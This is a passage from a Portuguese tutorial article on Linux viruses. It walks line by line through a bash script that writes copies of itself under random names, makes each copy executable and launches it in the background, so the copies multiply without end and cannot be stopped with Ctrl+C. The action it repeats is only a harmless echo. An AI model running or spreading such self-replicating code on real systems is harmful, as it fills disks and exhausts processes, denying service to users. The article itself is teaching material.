Vírus em Linux? [Artigo] - página 2
[ Hits: 33.403 ]
Esta linha define o interpretador de comandos utilizado no script, no caso, o bash.
REPLICA=`cat /dev/urandom | strings | tr -d '[:punct:]'| head -n 1 | awk -F" " '{print $1}'`
Aqui estamos utilizando o /dev/urandom combinado com os comandos strings, head e awk para nomear as réplicas do script. Esta linha lê o arquivo /dev/urandom, seleciona apenas os caracteres alfanuméricos da primeira linha e retira a primeira ocorrência antes de algum espaço. A variável REPLICA contém o nome da cópia gerada a partir deste script. É importante que usemos o arquivo /dev/urandom para evitarmos que ele sobrescreva algum arquivo previamente criado.
while [[ ${REPLICA} == "" ]]
Aqui garantimos que o nome do arquivo réplica não seja um caractere nulo.
# AÇÃO:
echo Ola!
Esta linha representa a ação realizada pelos scripts. No caso, um inofensivo echo.
:> ${REPLICA}
chmod +x ${REPLICA}
Aqui criamos e damos permissão de execução ao arquivo réplica, que será uma cópia do script original. Falta ainda que este arquivo contenha exatamente uma cópia do arquivo original. Garantimos isto com a seguinte linha:
cat ${0} > ${REPLICA}
Como um mimo a mais, colocamos um exit 0 no final da cópia:
echo "exit 0" >> ${REPLICA}
Agora executamos a cópia:
./${REPLICA} &
Note o "&" no final desta linha de execução. Esta linha é importante pois impede que se execute CTRL+c para enviar o sinal KILL para as demais réplicas.